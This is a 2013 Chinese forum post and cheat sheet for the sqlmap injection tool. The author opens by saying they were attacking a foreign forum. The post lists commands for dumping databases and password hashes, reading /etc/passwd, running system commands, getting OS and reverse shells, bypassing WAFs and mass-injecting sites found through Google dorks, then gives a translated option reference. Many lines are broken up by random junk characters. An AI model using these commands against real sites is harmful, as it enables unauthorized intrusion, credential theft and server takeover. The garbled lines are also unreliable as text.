找回密码
 立即注册
查看: 3421|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、8 T8 l0 e$ ^' }+ y5 U+ ~
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称& _  ~4 x; L; o  P
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名4 c& h- r6 }* {1 `0 e4 X: x( v
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段9 I5 p; H9 y+ Z
. ^  U2 B7 C: @  R" X
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
; f2 w( f4 M6 L* `) A2 S+ o8 S0 #获取字段内容
% B9 D/ }3 Q# L2 a % l8 n. [& b, u2 Y, k' r
******************信息获取******************
1 C3 w7 d. f* l8 M! L/ y, tsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
, k$ \8 F. w0 j3 |6 b. rsqlmap -u “http://url/news?id=1″ –users #列数据库用户. }. d& [; e6 C; ?5 T' _* K5 B
sqlmap -u “http://url/news?id=1″ –dbs#列数据库( c' v$ u2 F2 K5 ]1 d
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码/ I+ q. [9 P0 ~! H" {( @5 G
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
6 z+ s6 v/ }% T; A! c! P2 I/ ~3 lsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”# v2 |  W, Y3 c
–start 1 –stop 20 #列出指定字段,列出20 条
- `7 b$ U2 h! z+ O, asqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
: I# E8 T/ z. K8 O, |sqlmap -u “http://url/news?id=1″ –privileges #查看权限+ o9 ]! _( S; t2 A3 {
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
: l! i: w) R: }% X! h2 g3 gsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
+ o! F( K% x. zsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表" S6 ], f, O" b, L' o
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录3 r% n, `' C+ O" Z  b  _9 S# o
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
0 N' N2 y6 f2 l4 h$ F; j+ Gsqlmap -u “http://url/news?id=1″-b #获取banner信息
4 }- ]8 m4 @- T. B, M1 ^sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
8 v# V' z" n% w- X# Y/ J- Y+ Ssqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
4 v/ i! Z/ e- j& O3 q7 m  R5 hsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入3 O  {% Q6 E& S& Y" q+ b
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
/ b/ r" K  n  ]sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
: R. d5 o3 z4 y- ^sqlmap -u “http://url/news?id=1″ –file /etc/passwd( e5 q; O* m7 o- _+ P
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令: h8 i; V! I% e. ]! `$ S( @
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
% R# ]9 y: v2 t1 G4 O4 Asqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表8 v% Q/ I$ F6 R( _' P! k
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
3 u4 Z( F, e3 d9 Jsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度# c: [: o- p- _' l1 _5 L- |
***********高级用法*************% h' b3 `4 V. T' u/ P
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
$ E2 Y( J2 ^8 qsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
" w4 l( p8 y0 E) ?' }' ~, x–technique   测试指定注入类型\使用的技术. c! l: N: T4 k8 Y# H: |
不加参数默认测试所有注入技术4 p7 ?4 @# i% A& x
•     B: 基于布尔的SQL 盲注
& ]- G. L: T& J7 j7 q. j•     E: 基于显错sql 注入
- }$ ~  A8 L0 r# d6 O$ c* i, a•     U: 基于UNION 注入
5 K; X! I  F* U! y/ O•     S: 叠层sql 注入% ]7 s1 |3 K6 X4 l
•     T: 基于时间盲注
3 {3 g# K$ X, C0 O. G% H, f. w7 m+ b–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
# ~% {9 D# z6 F+ y–tamper 插件所在目录
. ]2 |- q7 U2 C  b" t7 e\sqlmap-dev\tamper7 T9 `* J) R, N/ Y. _
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
7 A+ k# C9 k* u- D9 I( q4 zlevel 执行测试等级 攻击实例:
9 N- x' r/ V. D8 HSqlmap -u “http://url/news?id=1&Submit=Submit”
3 Q) t  T, q4 L5 h, k, Z–cookie=”PHPSESSID=41aa833e6d0d
! v  K$ r  ~( P" o' v28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user: I% j& @2 J+ k( M; x. \3 \! _
–password( s5 w* d; F# ^
参考文档:http://sqlmap.sourceforge.net/doc/README.html
- u& G1 C. z, d# y***********安装最新版本*************
1 h. H& x9 T9 `* g- _ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
1 P  m8 p  K" \, Isudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev5 A8 v9 Z; d- M" K/ S1 J
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
( Y# k7 x/ ]) s- S' _0 P+ zsudo vim /home/当前用户/.bashrc
/ }# j8 q4 G  t, V0 v#任意位置加上:3 i3 ~3 n9 q5 ?! }. ^! I
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效7 j' `* ~# z. b# v4 J: `
如果想对所有用户有效 可设置全局 编辑下面的文件
& X' T1 c  o  ~7 t" T  a' K( Evim /etc/profile
& D% q7 s2 P) E7 I9 p: j7 V同样加上:$ m( J3 O' j; N3 e6 d1 {
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效1 \' ]6 y  e* T/ C% Z
******************windows 7 (x64) sqlmap install (SVN)************. M4 D6 i& U, u
http://www.python.org/getit/ 安装python; ^8 [' j- F" E6 {& R
http://www.sliksvn.com/en/download 安装windows svn client  G+ q3 L2 ^0 ]- `
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev+ b+ i5 T1 S! ~! E: [# g
安装sqlmap' J( f2 _; H. X5 o1 R* Y# x1 o
*修改环境变量
9 S4 L& S  s- K' X8 J  {–version             显示程序的版本号并退出
. K- l# t: f9 ~( G/ m: S6 N-h, –help            显示此帮助消息并退出
5 v, x) j5 B. d. w; m6 s-v VERBOSE            详细级别:0-6(默认为1)
0 m3 X0 o4 N: x4 v& mTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
4 E/ [( \7 q$ o# n-d DIRECT           直接连接到数据库。" m/ R' m8 p( c$ t" ?; h
-u URL, –url=URL   目标URL。
* \' ~5 q/ F% ?4 \& F; u; p-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
6 E2 c7 C- v* f. N-r REQUESTFILE      从一个文件中载入HTTP 请求。
. N' F  }9 {: j$ t2 F9 {-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
7 w! j6 K0 y' B- ]% T-c CONFIGFILE       从INI 配置文件中加载选项。* X' O0 j( ^0 f1 ]4 Q2 T' t7 V
Request(请求)::
- q6 i  A/ d: y* c7 x2 W  D这些选项可以用来指定如何连接到目标URL。6 d- X+ b6 G8 @- c: I
–data=DATA         通过POST 发送的数据字符串. U: _9 n: R( p7 D7 _
–cookie=COOKIE     HTTP Cookie 头% x8 b9 i, n3 ^5 [# |
–cookie-urlencode  URL 编码生成的cookie 注入
( g( T+ b+ `, |5 U2 Y–drop-set-cookie   忽略响应的Set –Cookie 头信息
4 C* h- V; `3 f 9 P1 ]3 c( l  D) ~# _7 }: ^1 c* j
–user-agent=AGENT  指定  HTTP User –Agent 头* @+ u1 q; {7 k- E- I5 J, v
–random-agent      使用随机选定的HTTP User –Agent 头
9 G5 U) ?% V! [; @- w–referer=REFERER   指定  HTTP Referer 头
- P& i1 M, H8 l4 p# u' |–headers=HEADERS   换行分开,加入其他的HTTP 头9 z! l. E, f3 i3 x0 u
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)3 w- ?2 I7 e9 T& n) ?" Z
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
8 I0 G9 o! M1 ?4 s–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
1 i4 Z" A% m+ M  C4 o9 m–proxy=PROXY       使用HTTP 代理连接到目标URL
' [" s! v% a- u) I3 f. E. q–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
/ h" v& ~6 n: f2 y5 L3 j–ignore-proxy      忽略系统默认的HTTP 代理
+ j: W2 D& @2 ^# k, L! R% K–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
3 X/ H3 R$ d4 t9 F–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
2 U2 X0 p7 s- u9 T2 @  Q1 m–retries=RETRIES   连接超时后重新连接的时间(默认3)  [" E+ ~9 n; C- X" o, C( U1 g
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式; Z' r( [0 z, `& h6 f
–safe-url=SAFURL   在测试过程中经常访问的url 地址
( Q! [8 E! m" @+ K$ z" T% m–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL4 @2 N; W  H% f( H% |/ q
Optimization(优化): 这些选项可用于优化SqlMap 的性能。9 X. h6 R# ?" ^/ _4 o4 [; [
-o                  开启所有优化开关/ o7 o; i, Q2 T6 x& V( ?5 y
–predict-output    预测常见的查询输出; j8 V2 r8 B3 r- X4 W5 Y' ?9 l
–keep-alive        使用持久的HTTP(S)连接
  Y2 z5 B/ F1 U6 ]–null-connection   从没有实际的HTTP 响应体中检索页面长度2 _8 j* U* N. ~3 o' P1 f5 T; ?
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
; D# I6 u0 V- F* R1 X: l: uInjection(注入):+ D+ k+ M; a: ~$ B6 {* a' v+ a" s( w
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。) V: e0 ?8 h! k( G3 R
-p TESTPARAMETER    可测试的参数(S)  Q) G  |! \/ l* b4 `
–dbms=DBMS         强制后端的DBMS 为此值
' e3 a+ P* b( ^- b; g" W( C( M1 _–os=OS             强制后端的DBMS 操作系统为这个值
: x! _0 U/ r8 J- W" {% d–prefix=PREFIX     注入payload 字符串前缀( ^, k& K/ [  h( k4 C) R
–suffix=SUFFIX     注入 payload 字符串后缀
2 W: S/ Y5 n- Q3 s8 q7 N–tamper=TAMPER     使用给定的脚本(S)篡改注入数据+ T0 \% n+ ]* G- O2 m' M
Detection(检测):& b' `* B5 c% V
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
& Y' \% P) H5 K2 V6 K$ L" i. q–level=LEVEL       执行测试的等级(1-5,默认为1), v, H; K3 K$ m, r  ]& Z6 t
–risk=RISK         执行测试的风险(0-3,默认为1)- A0 k/ Y  N8 E
–string=STRING     查询时有效时在页面匹配字符串$ v7 W# J; [2 M
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
* ?9 v* d: Q' D2 i* `& h–text-only         仅基于在文本内容比较网页% G0 v1 T' r% p6 E% Y8 M5 W  N1 N5 s
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
5 D& s# y4 ]0 k7 P6 u# T3 E–technique=TECH    SQL 注入技术测试(默认BEUST)
; b: k2 O# `6 |. q" I( Y+ R–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
0 M) e! u  y, H% M–union-cols=UCOLS  定列范围用于测试UNION 查询注入
( S( R5 P/ P  L. W3 \+ h–union-char=UCHAR  用于暴力猜解列数的字符
! B. \" h& V. W* h. ]. lFingerprint(指纹):
9 F  P9 X5 O* I9 Z: W-f, –fingerprint     执行检查广泛的DBMS 版本指纹
  h0 @  a8 N. V7 c7 UEnumeration(枚举):& P* ]. p8 g/ E+ v1 I7 K* w
# G0 c' ]9 J2 U( {
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
$ e0 u$ e2 X3 i: {-b, –banner        检索数据库管理系统的标识
) R; Z" T9 }) a$ y/ H; Q–current-user      检索数据库管理系统当前用户8 W+ r- |1 f7 P/ ^, B# z
–current-db        检索数据库管理系统当前数据库
' b: b' D& k6 d' A–is-dba            检测DBMS 当前用户是否DBA
) z- m. T9 I' n- F4 ~5 z–users             枚举数据库管理系统用户- x0 j+ E6 [; r: i* N1 g
–passwords         枚举数据库管理系统用户密码哈希6 j% A5 d& E' o2 v4 o! u+ B; V4 w
–privileges        枚举数据库管理系统用户的权限
; |5 r$ j4 ?" Y! l$ \–roles             枚举数据库管理系统用户的角色
  a5 ^; I3 A9 h–dbs               枚举数据库管理系统数据库& |$ S& ^1 K' Q# J" ]7 {( j/ @
–tables            枚举的DBMS 数据库中的表
: K4 N& {7 N/ M! T6 V7 d6 G–columns           枚举DBMS 数据库表列7 g- Y" n2 F! P* Y7 F
–dump              转储数据库管理系统的数据库中的表项! m& I& b) ~7 F: u
–dump-all          转储所有的DBMS 数据库表中的条目
& J: G* U" _- z1 G" v, B& {, {–search            搜索列(S),表(S)和/或数据库名称(S)
% ^" U0 F$ V0 k5 ^- E, J1 |$ \-D DB               要进行枚举的数据库名5 N/ X2 L% n/ }1 k8 y: L/ _( F, R
-T TBL              要进行枚举的数据库表
7 o' }1 G& w- G! c; G# F-C COL              要进行枚举的数据库列" Z) W; X! w) x' ^, ^
-U USER             用来进行枚举的数据库用户: x1 N; L* t9 E8 D4 t4 U
–exclude-sysdbs    枚举表时排除系统数据库( l8 B: B% R5 L6 {
–start=LIMITSTART  第一个查询输出进入检索' v; I* O7 X& i9 G8 {* v9 S8 V6 x: Z( t
–stop=LIMITSTOP    最后查询的输出进入检索" s+ g3 J( n, A" p' \" p
–first=FIRSTCHAR   第一个查询输出字的字符检索4 r. @7 ?; w- |  l; o5 C% D- f' \$ i" q
–last=LASTCHAR     最后查询的输出字字符检索( K$ D7 N: j# V9 e  W' ]
–sql-query=QUERY   要执行的SQL 语句
' C* R+ y7 M# D, j- q! ~–sql-shell         提示交互式SQL 的shell
& O; B  {: j7 J: [/ MBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
+ E# y9 R" {1 q0 G–common-tables     检查存在共同表
/ M4 W) Q/ l+ h6 Y" y+ z–common-columns    检查存在共同列3 v# }+ Y  T4 R' S( `( D
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。! \9 R# E$ R: h) G* X
–udf-inject        注入用户自定义函数: j9 f; ~3 i- g
–shared-lib=SHLIB  共享库的本地路径7 O. W& K: u4 n% u0 g/ k7 v
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- D( `. ]* x1 g0 n/ u–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
: D' ?3 Y0 y3 {& e' r) q–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件! y) I0 h( [3 z5 A; q
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
; e' @- Z% T, z, tOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。) ~+ c! p9 C" x9 w( Z4 c
–os-cmd=OSCMD      执行操作系统命令
  ~& u5 _1 P  _1 @3 n/ }–os-shell          交互式的操作系统的shell
4 t: V+ T8 y6 u8 E% _7 u0 V5 v9 V–os-pwn            获取一个OOB shell,meterpreter 或VNC* U7 s0 f& i& g9 Z  B" S5 V# O
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC9 l8 A$ H, A& P* i0 q
–os-bof            存储过程缓冲区溢出利用
. \9 C; k2 m% ~$ R0 p; A–priv-esc          数据库进程用户权限提升
' }; u$ w# v, c5 B9 N. f; h: F2 S* [–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
. ]" ^$ |- h& V! h  \) }" Y4 B–tmp-path=TMPPATH  远程临时文件目录的绝对路径% Q+ {. s8 n' G! [6 [  Q& l

+ {- t% }+ Z8 \* i. LWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
+ `9 |, l' T6 G6 r3 X& }8 h( C/ N–reg-read          读一个Windows 注册表项值
4 M# ?4 A# W/ [! A–reg-add           写一个Windows 注册表项值数据. o8 C. n: R* l0 _6 O+ M3 ~
–reg-del           删除Windows 注册表键值
5 d* f& {0 V' A- t–reg-key=REGKEY    Windows 注册表键
( O  u7 X/ a& ?( P! \& u–reg-value=REGVAL  Windows 注册表项值
4 _  S% y& U. j7 k! {& U% p& i–reg-data=REGDATA  Windows 注册表键值数据. m$ C) }) F) J9 o; }6 {! ~1 f
–reg-type=REGTYPE  Windows 注册表项值类型/ f" \) z( _& o4 R6 g  ]0 ~
General(一般): 这些选项可以用来设置一些一般的工作参数。
% t* d4 G# i. p  r  r4 B" b$ W-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
& P5 E5 _5 J# s6 y-s SESSIONFILE      保存和恢复检索会话文件的所有数据& Q. z( Q  P, l7 V
–flush-session     刷新当前目标的会话文件
- o$ Z- t# V* I/ O' h, b7 d5 k–fresh-queries     忽略在会话文件中存储的查询结果
# }" _" Q: c/ q$ M. u–eta               显示每个输出的预计到达时间* p4 R! P4 n0 p2 g
–update            更新SqlMap' N1 L" S) L$ A9 U0 O4 w, x# P
–save              file 保存选项到INI 配置文件( A/ g9 c5 v0 w
–batch             从不询问用户输入,使用所有默认配置。1 O) m1 ]2 e2 m3 J. L$ `
Miscellaneous(杂项):
: H' H$ R- f8 I2 D# u–beep              发现SQL 注入时提醒
, w$ _) Q( F/ e( `* Q; F% s–check-payload     IDS 对注入payloads 的检测测试
7 l3 w7 B1 ~3 ^–cleanup           SqlMap 具体的UDF 和表清理DBMS
, W4 t+ y2 B; G8 p9 `–forms             对目标URL 的解析和测试形式
  Z( d4 k/ x& W/ _* a! B–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
  h5 `* Z) `! U9 a/ o' Y3 L–page-rank         Google dork 结果显示网页排名(PR)
$ E& p6 ~" E6 G6 {–parse-errors      从响应页面解析数据库管理系统的错误消息
: U& E# g% h( a' h  A–replicate         复制转储的数据到一个sqlite3 数据库
+ [, `! o# l6 Y2 D5 A–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址9 M, t# a7 F! q- T+ A1 L
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表